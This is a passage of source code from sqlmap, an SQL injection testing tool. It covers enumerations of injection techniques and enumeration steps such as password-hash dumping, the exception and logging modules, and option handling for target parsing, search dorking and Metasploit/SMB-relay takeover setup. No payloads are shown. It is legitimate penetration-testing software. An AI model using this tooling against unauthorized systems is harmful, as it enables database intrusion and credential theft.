AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.155 Mobile Safari/537.36 AirWatchBrowser/25.08.0.2131") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") HTC = ("HTC One X2", "Mozilla/5.0 (Linux; Android 14; X2-HT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.46 Mobile Safari/537.36") HUAWEI = ("Huawei Honor 90 Pro", "Mozilla/5.0 (Linux; Android 15; REP-AN00 Build/HONORREP-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/133.0.6943.137 Mobile Safari/537.36") IPHONE = ("Apple iPhone 15 Pro Max", "Mozilla/7.0 (iPhone; CPU iPhone OS 18_7; iPhone 15 Pro Max) AppleWebKit/533.2 (KHTML, like Gecko) CriOS/126.0.6478.35 Mobile/15E148 Safari/804.17") LUMIA = ("Microsoft Lumia 950 XL", "Mozilla/5.0 (Windows Mobile 10; Android 10.0;Microsoft;Lumia 950XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36 Edge/40.15254.603") NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") PIXEL = ("Google Pixel 9", "Mozilla/5.0 (Linux; Android 14; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/139.0.0.0 Mobile Safari/537.36") XIAOMI = ("Xiaomi Redmi 15C", "Mozilla/5.0 (Linux; Android 15; REDMI 15C Build/AP3A.240905.015.A2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.118 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.43.0-gn") class PROXY_TYPE(object): HTTP = "HTTP" HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" class REGISTRY_OPERATION(object): READ = "read" ADD = "add" DELETE = "delete" class DUMP_FORMAT(object): CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" class HTTP_HEADER(object): ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" ACCEPT_LANGUAGE = "Accept-Language" AUTHORIZATION = "Authorization" CACHE_CONTROL = "Cache-Control" CONNECTION = "Connection" CONTENT_ENCODING = "Content-Encoding" CONTENT_LENGTH = "Content-Length" CONTENT_RANGE = "Content-Range" CONTENT_TYPE = "Content-Type" COOKIE = "Cookie" EXPIRES = "Expires" HOST = "Host" IF_MODIFIED_SINCE = "If-Modified-Since" IF_NONE_MATCH = "If-None-Match" LAST_MODIFIED = "Last-Modified" LOCATION = "Location" PRAGMA = "Pragma" PROXY_AUTHORIZATION = "Proxy-Authorization" PROXY_CONNECTION = "Proxy-Connection" RANGE = "Range" REFERER = "Referer" REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 SERVER = "Server" SET_COOKIE = "Set-Cookie" TRANSFER_ENCODING = "Transfer-Encoding" URI = "URI" USER_AGENT = "User-Agent" VIA = "Via" X_POWERED_BY = "X-Powered-By" X_DATA_ORIGIN = "X-Data-Origin" class EXPECTED(object): BOOL = "bool" INT = "int" class OPTION_TYPE(object): BOOLEAN = "boolean" INTEGER = "integer" FLOAT = "float" STRING = "string" class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" KB_BRUTE_COLUMNS = "KB_BRUTE_COLUMNS" KB_BRUTE_TABLES = "KB_BRUTE_TABLES" KB_CHARS = "KB_CHARS" KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS" KB_INJECTIONS = "KB_INJECTIONS" KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH" KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" class REDIRECTION(object): YES = 'Y' NO = 'N' class PAYLOAD(object): SQLINJECTION = { 1: "boolean-based blind", 2: "error-based", 3: "inline query", 4: "stacked queries", 5: "time-based blind", 6: "UNION query", } PARAMETER = { 1: "Unescaped numeric", 2: "Single quoted string", 3: "LIKE single quoted string", 4: "Double quoted string", 5: "LIKE double quoted string", 6: "Identifier (e.g. column name)", } RISK = { 0: "No risk", 1: "Low risk", 2: "Medium risk", 3: "High risk", } CLAUSE = { 0: "Always", 1: "WHERE", 2: "GROUP BY", 3: "ORDER BY", 4: "LIMIT", 5: "OFFSET", 6: "TOP", 7: "Table name", 8: "Column name", 9: "Pre-WHERE (non-query)", } class METHOD(object): COMPARISON = "comparison" GREP = "grep" TIME = "time" UNION = "union" class TECHNIQUE(object): BOOLEAN = 1 ERROR = 2 QUERY = 3 STACKED = 4 TIME = 5 UNION = 6 class WHERE(object): ORIGINAL = 1 NEGATIVE = 2 REPLACE = 3 class WIZARD(object): BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") class ADJUST_TIME_DELAY(object): DISABLE = -1 NO = 0 YES = 1 class WEB_PLATFORM(object): PHP = "php" ASP = "asp" ASPX = "aspx" JSP = "jsp" CFM = "cfm" class CONTENT_TYPE(object): TARGET = 0 TECHNIQUES = 1 DBMS_FINGERPRINT = 2 BANNER = 3 CURRENT_USER = 4 CURRENT_DB = 5 HOSTNAME = 6 IS_DBA = 7 USERS = 8 PASSWORDS = 9 PRIVILEGES = 10 ROLES = 11 DBS = 12 TABLES = 13 COLUMNS = 14 SCHEMA = 15 COUNT = 16 DUMP_TABLE = 17 SEARCH = 18 SQL_QUERY = 19 COMMON_TABLES = 20 COMMON_COLUMNS = 21 FILE_READ = 22 FILE_WRITE = 23 OS_CMD = 24 REG_READ = 25 STATEMENTS = 26 class CONTENT_STATUS(object): IN_PROGRESS = 0 COMPLETE = 1 class AUTH_TYPE(object): BASIC = "basic" DIGEST = "digest" BEARER = "bearer" NTLM = "ntlm" PKI = "pki" class AUTOCOMPLETE_TYPE(object): SQL = 0 OS = 1 SQLMAP = 2 API = 3 class NOTE(object): FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" class MKSTEMP_PREFIX(object): HASHES = "sqlmaphashes-" CRAWLER = "sqlmapcrawler-" IPC = "sqlmapipc-" CONFIG = "sqlmapconfig-" TESTING = "sqlmaptesting-" RESULTS = "sqlmapresults-" COOKIE_JAR = "sqlmapcookiejar-" BIG_ARRAY = "sqlmapbigarray-" SPECIFIC_RESPONSE = "sqlmapresponse-" PREPROCESS = "sqlmappreprocess-" class TIMEOUT_STATE(object): NORMAL = 0 EXCEPTION = 1 TIMEOUT = 2 class HINT(object): PREPEND = 0 APPEND = 1 class FUZZ_UNION_COLUMN: STRING = "" INTEGER = "" NULL = "NULL" class COLOR: BLUE = "\033[34m" BOLD_MAGENTA = "\033[35;1m" BOLD_GREEN = "\033[32;1m" BOLD_LIGHT_MAGENTA = "\033[95;1m" LIGHT_GRAY = "\033[37m" BOLD_RED = "\033[31;1m" BOLD_LIGHT_GRAY = "\033[37;1m" YELLOW = "\033[33m" DARK_GRAY = "\033[90m" BOLD_CYAN = "\033[36;1m" LIGHT_RED = "\033[91m" CYAN = "\033[36m" MAGENTA = "\033[35m" LIGHT_MAGENTA = "\033[95m" LIGHT_GREEN = "\033[92m" RESET = "\033[0m" BOLD_DARK_GRAY = "\033[90;1m" BOLD_LIGHT_YELLOW = "\033[93;1m" BOLD_LIGHT_RED = "\033[91;1m" BOLD_LIGHT_GREEN = "\033[92;1m" LIGHT_YELLOW = "\033[93m" BOLD_LIGHT_BLUE = "\033[94;1m" BOLD_LIGHT_CYAN = "\033[96;1m" LIGHT_BLUE = "\033[94m" BOLD_WHITE = "\033[97;1m" LIGHT_CYAN = "\033[96m" BLACK = "\033[30m" BOLD_YELLOW = "\033[33;1m" BOLD_BLUE = "\033[34;1m" GREEN = "\033[32m" WHITE = "\033[97m" BOLD_BLACK = "\033[30;1m" RED = "\033[31m" UNDERLINE = "\033[4m" class BACKGROUND: BLUE = "\033[44m" LIGHT_GRAY = "\033[47m" YELLOW = "\033[43m" DARK_GRAY = "\033[100m" LIGHT_RED = "\033[101m" CYAN = "\033[46m" MAGENTA = "\033[45m" LIGHT_MAGENTA = "\033[105m" LIGHT_GREEN = "\033[102m" RESET = "\033[0m" LIGHT_YELLOW = "\033[103m" LIGHT_BLUE = "\033[104m" LIGHT_CYAN = "\033[106m" BLACK = "\033[40m" GREEN = "\033[42m" WHITE = "\033[107m" RED = "\033[41m" ================================================ FILE: lib/core/exception.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ class SqlmapBaseException(Exception): pass class SqlmapCompressionException(SqlmapBaseException): pass class SqlmapConnectionException(SqlmapBaseException): pass class SqlmapDataException(SqlmapBaseException): pass class SqlmapFilePathException(SqlmapBaseException): pass class SqlmapGenericException(SqlmapBaseException): pass class SqlmapInstallationException(SqlmapBaseException): pass class SqlmapMissingDependence(SqlmapBaseException): pass class SqlmapMissingMandatoryOptionException(SqlmapBaseException): pass class SqlmapMissingPrivileges(SqlmapBaseException): pass class SqlmapNoneDataException(SqlmapBaseException): pass class SqlmapNotVulnerableException(SqlmapBaseException): pass class SqlmapSilentQuitException(SqlmapBaseException): pass class SqlmapUserQuitException(SqlmapBaseException): pass class SqlmapShellQuitException(SqlmapBaseException): pass class SqlmapSkipTargetException(SqlmapBaseException): pass class SqlmapSyntaxException(SqlmapBaseException): pass class SqlmapSystemException(SqlmapBaseException): pass class SqlmapThreadException(SqlmapBaseException): pass class SqlmapTokenException(SqlmapBaseException): pass class SqlmapUndefinedMethod(SqlmapBaseException): pass class SqlmapUnsupportedDBMSException(SqlmapBaseException): pass class SqlmapUnsupportedFeatureException(SqlmapBaseException): pass class SqlmapValueException(SqlmapBaseException): pass ================================================ FILE: lib/core/log.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import logging import re import sys from lib.core.enums import CUSTOM_LOGGING logging.addLevelName(CUSTOM_LOGGING.PAYLOAD, "PAYLOAD") logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_OUT, "TRAFFIC OUT") logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_IN, "TRAFFIC IN") LOGGER = logging.getLogger("sqlmapLog") LOGGER_HANDLER = None try: from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler class _ColorizingStreamHandler(ColorizingStreamHandler): def colorize(self, message, levelno, force=False): if levelno in self.level_map and (self.is_tty or force): bg, fg, bold = self.level_map[levelno] params = [] if bg in self.color_map: params.append(str(self.color_map[bg] + 40)) if fg in self.color_map: params.append(str(self.color_map[fg] + 30)) if bold: params.append('1') if params and message: match = re.search(r"\A(\s+)", message) prefix = match.group(1) if match else "" message = message[len(prefix):] match = re.search(r"\[([A-Z ]+)\]", message) # log level if match: level = match.group(1) if message.startswith(self.bold): message = message.replace(self.bold, "") reset = self.reset + self.bold params.append('1') else: reset = self.reset message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) match = re.search(r"\A\s*\[([\d:]+)\]", message) # time if match: time = match.group(1) message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) match = re.search(r"\[(#\d+)\]", message) # counter if match: counter = match.group(1) message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) if level != "PAYLOAD": if any(_ in message for _ in ("parsed DBMS error message",)): match = re.search(r": '(.+)'", message) if match: string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: match = re.search(r"\bresumed: '(.+\.\.\.)", message) if match: string = match.group(1) message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message) if match: string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) if prefix: message = "%s%s" % (prefix, message) message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch return message disableColor = False for argument in sys.argv: if "disable-col" in argument: disableColor = True break if disableColor: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) else: LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout) LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False) except ImportError: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") LOGGER_HANDLER.setFormatter(FORMATTER) LOGGER.addHandler(LOGGER_HANDLER) LOGGER.setLevel(logging.INFO) ================================================ FILE: lib/core/option.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import codecs import collections import functools import glob import inspect import json import logging import os import random import re import socket import sys import tempfile import threading import time import traceback from lib.controller.checks import checkConnection from lib.core.common import Backend from lib.core.common import boldifyMessage from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import decodeStringEscape from lib.core.common import fetchRandomAgent from lib.core.common import filterNone from lib.core.common import findLocalPort from lib.core.common import findPageForms from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import intersect from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile from lib.core.common import parseRequestFile from lib.core.common import parseTargetDirect from lib.core.common import paths from lib.core.common import randomStr from lib.core.common import readCachedFileContent from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin from lib.core.common import safeExpandUser from lib.core.common import safeFilepathEncode from lib.core.common import saveConfig from lib.core.common import setColor from lib.core.common import setOptimize from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage from lib.core.common import urldecode from lib.core.compat import cmp from lib.core.compat import round from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import mergedOptions from lib.core.data import queries from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.datatype import LRUDict from lib.core.datatype import OrderedSet from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DUMP_FORMAT from lib.core.enums import FORK from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MOBILES from lib.core.enums import OPTION_TYPE from lib.core.enums import PAYLOAD from lib.core.enums import PRIORITY from lib.core.enums import PROXY_TYPE from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import WIZARD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.log import FORMATTER from lib.core.optiondict import optDict from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DBMS_ALIASES from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import DUMMY_URL from lib.core.settings import IGNORE_CODE_WILDCARD from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import LOCALHOST from lib.core.settings import MAX_CONNECT_RETRIES from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS from lib.core.settings import TIME_DELAY_CANDIDATES from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.threads import getCurrentThreadData from lib.core.threads import setDaemon from lib.core.update import update from lib.parse.configfile import configFileParser from lib.parse.payloads import loadBoundaries from lib.parse.payloads import loadPayloads from lib.request.basic import checkCharEncoding from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer from lib.request.httpshandler import HTTPSHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies from lib.utils.har import HTTPCollectorFactory from lib.utils.purge import purge from lib.utils.search import search from thirdparty import six from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_cookiejar as _http_cookiejar from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks from xml.etree.ElementTree import ElementTree authHandler = _urllib.request.BaseHandler() chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() multipartPostHandler = multipartpost.MultipartPostHandler() # Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html try: WindowsError except NameError: WindowsError = None def _loadQueries(): """ Loads queries from 'xml/queries.xml' file. """ def iterate(node, retVal=None): class DictObject(object): def __init__(self): self.__dict__ = {} def __contains__(self, name): return name in self.__dict__ if retVal is None: retVal = DictObject() for child in node.findall("*"): instance = DictObject() retVal.__dict__[child.tag] = instance if child.attrib: instance.__dict__.update(child.attrib) else: iterate(child, instance) return retVal tree = ElementTree() try: tree.parse(paths.QUERIES_XML) except Exception as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) for node in tree.findall("*"): queries[node.attrib['value']] = iterate(node) def _setMultipleTargets(): """ Define a configuration parameter if we are running in multiple target mode. """ initialTargetsCount = len(kb.targets) seen = set() if not conf.logFile: return debugMsg = "parsing targets list from '%s'" % conf.logFile logger.debug(debugMsg) if not os.path.exists(conf.logFile): errMsg = "the specified list of targets does not exist" raise SqlmapFilePathException(errMsg) if checkFile(conf.logFile, False): for target in parseRequestFile(conf.logFile): url, _, data, _, _ = target key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) if key not in seen: kb.targets.add(target) seen.add(key) elif os.path.isdir(conf.logFile): files = os.listdir(conf.logFile) files.sort() for reqFile in files: if not re.search(r"([\d]+)\-request", reqFile): continue for target in parseRequestFile(os.path.join(conf.logFile, reqFile)): url, _, data, _, _ = target key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) if key not in seen: kb.targets.add(target) seen.add(key) else: errMsg = "the specified list of targets is not a file " errMsg += "nor a directory" raise SqlmapFilePathException(errMsg) updatedTargetsCount = len(kb.targets) if updatedTargetsCount > initialTargetsCount: infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount) infoMsg += "(parameter unique) requests from the " infoMsg += "targets list ready to be tested" logger.info(infoMsg) def _adjustLoggingFormatter(): """ Solves problem of line deletition caused by overlapping logging messages and retrieved data info in inference mode """ if hasattr(FORMATTER, '_format'): return def format(record): message = FORMATTER._format(record) message = boldifyMessage(message) if kb.get("prependFlag"): message = "\n%s" % message kb.prependFlag = False return message FORMATTER._format = FORMATTER.format FORMATTER.format = format def _setRequestFromFile(): """ This function checks if the way to make a HTTP request is through supplied textual file, parses it and saves the information into the knowledge base. """ if conf.requestFile: for requestFile in re.split(PARAMETER_SPLITTING_REGEX, conf.requestFile): requestFile = safeExpandUser(requestFile) url = None seen = set() if not checkFile(requestFile, False): errMsg = "specified HTTP request file '%s' " % requestFile errMsg += "does not exist" raise SqlmapFilePathException(errMsg) infoMsg = "parsing HTTP request from '%s'" % requestFile logger.info(infoMsg) for target in parseRequestFile(requestFile): url = target[0] if url not in seen: kb.targets.add(target) if len(kb.targets) > 1: conf.multipleTargets = True seen.add(url) if url is None: errMsg = "specified file '%s' " % requestFile errMsg += "does not contain a usable HTTP request (with parameters)" raise SqlmapDataException(errMsg) if conf.secondReq: conf.secondReq = safeExpandUser(conf.secondReq) if not checkFile(conf.secondReq, False): errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq errMsg += "does not exist" raise SqlmapFilePathException(errMsg) infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq logger.info(infoMsg) try: target = next(parseRequestFile(conf.secondReq, False)) kb.secondReq = target except StopIteration: errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq errMsg += "does not contain a valid HTTP request" raise SqlmapDataException(errMsg) def _setCrawler(): if not conf.crawlDepth: return if not conf.bulkFile: if conf.url: crawl(conf.url) elif conf.requestFile and kb.targets: target = next(iter(kb.targets)) crawl(target[0], target[2], target[3]) def _doSearch(): """ This function performs search dorking, parses results and saves the testable hosts into the knowledge base. """ if not conf.googleDork: return kb.data.onlyGETs = None def retrieve(): links = search(conf.googleDork) if not links: errMsg = "unable to find results for your " errMsg += "search dork expression" raise SqlmapGenericException(errMsg) for link in links: link = urldecode(link) if re.search(r"(.*?)\?(.+)", link) or conf.forms: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: message = "do you want to scan only results containing GET parameters? [Y/n] " kb.data.onlyGETs = readInput(message, default='Y', boolean=True) if not kb.data.onlyGETs or conf.googleDork: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) return links while True: links = retrieve() if kb.targets: infoMsg = "found %d results for your " % len(links) infoMsg += "search dork expression" if not conf.forms: infoMsg += ", " if len(links) == len(kb.targets): infoMsg += "all " else: infoMsg += "%d " % len(kb.targets) infoMsg += "of them are testable targets" logger.info(infoMsg) break else: message = "found %d results " % len(links) message += "for your search dork expression, but none of them " message += "have GET parameters to test for SQL injection. " message += "Do you want to skip to the next result page? [Y/n]" if not readInput(message, default='Y', boolean=True): raise SqlmapSilentQuitException else: conf.googlePage += 1 def _setStdinPipeTargets(): if conf.url: return if isinstance(conf.stdinPipe, _collections.Iterable): infoMsg = "using 'STDIN' for parsing targets list" logger.info(infoMsg) class _(object): def __init__(self): self.__rest = OrderedSet() def __iter__(self): return self def __next__(self): return self.next() def next(self): try: line = next(conf.stdinPipe) except (IOError, OSError, TypeError, UnicodeDecodeError): line = None if line: match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) if match: return (match.group(0), conf.method, conf.data, conf.cookie, None) elif self.__rest: return self.__rest.pop() raise StopIteration() def add(self, elem): self.__rest.add(elem) kb.targets = _() def _setBulkMultipleTargets(): if not conf.bulkFile: return conf.bulkFile = safeExpandUser(conf.bulkFile) infoMsg = "parsing multiple targets list from '%s'" % conf.bulkFile logger.info(infoMsg) if not checkFile(conf.bulkFile, False): errMsg = "the specified bulk file " errMsg += "does not exist" raise SqlmapFilePathException(errMsg) found = False for line in getFileItems(conf.bulkFile): if conf.scope and not re.search(conf.scope, line, re.I): continue if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data: found = True kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" logger.warning(warnMsg) def _findPageForms(): if not conf.forms or conf.crawlDepth: return if conf.url and not checkConnection(): return found = False infoMsg = "searching for forms" logger.info(infoMsg) if not any((conf.bulkFile, conf.googleDork)): page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True) if findPageForms(page, conf.url, True, True): found = True else: if conf.bulkFile: targets = getFileItems(conf.bulkFile) elif conf.googleDork: targets = [_[0] for _ in kb.targets] kb.targets.clear() else: targets = [] for i in xrange(len(targets)): try: target = targets[i].strip() if not re.search(r"(?i)\Ahttp[s]*://", target): target = "http://%s" % target page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False) if findPageForms(page, target, False, True): found = True if conf.verbose in (1, 2): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except KeyboardInterrupt: break except Exception as ex: errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) if not found: warnMsg = "no forms found" logger.warning(warnMsg) def _setDBMSAuthentication(): """ Check and set the DBMS authentication credentials to run statements as another user, not the session user """ if not conf.dbmsCred: return debugMsg = "setting the DBMS authentication credentials" logger.debug(debugMsg) match = re.search(r"^(.+?):(.*?)$", conf.dbmsCred) if not match: errMsg = "DBMS authentication credentials value must be in format " errMsg += "username:password" raise SqlmapSyntaxException(errMsg) conf.dbmsUsername = match.group(1) conf.dbmsPassword = match.group(2) def _setMetasploit(): if not conf.osPwn and not conf.osSmb and not conf.osBof: return debugMsg = "setting the takeover out-of-band functionality" logger.debug(debugMsg) msfEnvPathExists = False if IS_WIN: try: __import__("win32file") except ImportError: errMsg = "sqlmap requires third-party module 'pywin32' " errMsg += "in order to use Metasploit functionalities on " errMsg += "Windows. You can download it from " errMsg += "'https://github.com/mhammond/pywin32'" raise SqlmapMissingDependence(errMsg) if not conf.msfPath: for candidate in os.environ.get("PATH", "").split(';'): if all(_ in candidate for _ in ("metasploit", "bin")): conf.msfPath = os.path.dirname(candidate.rstrip('\\')) break if conf.osSmb: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to perform a SMB relay attack because " errMsg += "it will need to listen on a user-specified SMB " errMsg += "TCP port for incoming connection attempts" raise SqlmapMissingPrivileges(errMsg) if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): if any(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True if all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): kb.oldMsf = False elif all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False conf.msfPath = path break if msfEnvPathExists: debugMsg = "provided Metasploit Framework path " debugMsg += "'%s' is valid" % conf.msfPath logger.debug(debugMsg) else: warnMsg = "the provided Metasploit Framework path " warnMsg += "'%s' is not valid. The cause could " % conf.msfPath warnMsg += "be that the path does not exists or that one " warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" logger.warning(warnMsg) else: warnMsg = "you did not provide the local path where Metasploit " warnMsg += "Framework is installed" logger.warning(warnMsg) if not 